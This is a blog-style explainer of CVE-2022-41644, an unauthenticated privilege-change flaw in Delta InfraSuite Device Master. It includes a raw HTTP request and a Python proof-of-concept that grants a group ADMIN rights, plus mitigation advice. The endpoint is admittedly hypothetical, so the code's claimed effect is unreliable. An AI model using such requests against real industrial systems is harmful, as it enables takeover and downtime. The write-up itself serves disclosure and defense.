Delta Electronics is a known name in industrial automation, with products spanning power management, cooling, and now smart infrastructure. But sometimes, the smarter the system, the bigger the risk. That’s exactly what CVE-2022-41644 exposed in their InfraSuite Device Master platform (versions 00.00.01a and earlier).

In this detailed write-up, I’ll explain just what this vulnerability is, how it works, and why it matters—from a hands-on, practical point of view. Read on for sample code, steps an attacker might use, and links to authoritative sources.

The Problem in Simple Terms

InfraSuite Device Master helps people monitor and manage industrial equipment. Normally, important actions (like changing user privileges or group settings) require authentication. However, in versions 00.00.01a or earlier, there’s a special function that lets anyone—yes, anyone—change group privilege levels without logging in. That means an attacker could bump up their own access, or trigger system-breaking misconfigurations that cause downtime (a denial-of-service state).

This opens the door to two major risks

- Privilege Escalation: A bad actor might become an administrator, changing settings or locking out real users.
- Denial of Service: By messing with group privileges, someone could disrupt automation, monitoring, or even shut down equipment.

How the Exploit Works (With Example Code)

Without proper authentication, functions controlling group privileges become a juicy target.

Suppose Device Master runs a HTTP server with REST-like functions. One endpoint (say, /api/setGroupPrivileges) is supposed to need a valid session. But in affected versions, it doesn’t check if the user is authenticated. The server just processes whatever it receives!

Here’s a typical HTTP request an attacker might use

POST /api/setGroupPrivileges HTTP/1.1
Host: target-device
Content-Type: application/json
Content-Length: 68

{
  "groupID": "2",
  "privileges": ["ADMIN", "WRITE", "DELETE", "CREATE"]
}

Even from a new or unauthenticated connection, the server updates the group’s privileges per the attacker’s payload. Just like that.

Using Python’s requests library, a proof-of-concept (PoC) script looks like this

import requests

target = 'http://192.168.1.10';  # Replace with target device IP
endpoint = '/api/setGroupPrivileges'
payload = {
    "groupID": "2",
    "privileges": ["ADMIN", "WRITE", "DELETE", "CREATE"]  # Escalate privileges!
}

resp = requests.post(target + endpoint, json=payload)

print('Status:', resp.status_code)
print('Response:', resp.text)

If the device is unpatched, this simple code gives any attacker administrator powers—no password needed!

Lock out legitimate operators

Or, by setting all groups to *zero* privileges, an attacker can trigger a denial-of-service. Staff might lose all ability to manage the device until someone physically resets or reconfigures it.

How Was This Found?

Researchers discovered the flaw by inspecting device firmware and testing API endpoints for authentication controls. The lack of proper checks in this privilege management function was clear.

Original Disclosure

- US Cybersecurity and Infrastructure Security Agency (CISA): ICSA-23-002-03
- NIST NVD Entry: CVE-2022-41644

Mitigation and Defense

1. Update Immediately: Delta Electronics has released fixed versions; upgrade to the latest Device Master.
2. Restrict Network Access: Limit who can reach device APIs using firewalls or network segmentation.

Monitor Logs: Watch for unusual changes to group privileges or frequent privilege update calls.

4. Change Default Credentials: Don’t rely on system defaults. Use strong passwords for every account.

Conclusion

CVE-2022-41644 proves that missing one simple check—the authentication step—can turn a powerful industrial platform into a potential attack vector. If you use Delta InfraSuite Device Master, don’t wait; updates and proper network hygiene are your best defense.

For full details, please visit the original US CISA advisory.


Stay safe, and keep your industrial networks patched and locked down!

Timeline

Published on: 10/31/2022 20:15:00 UTC
Last modified on: 11/02/2022 13:00:00 UTC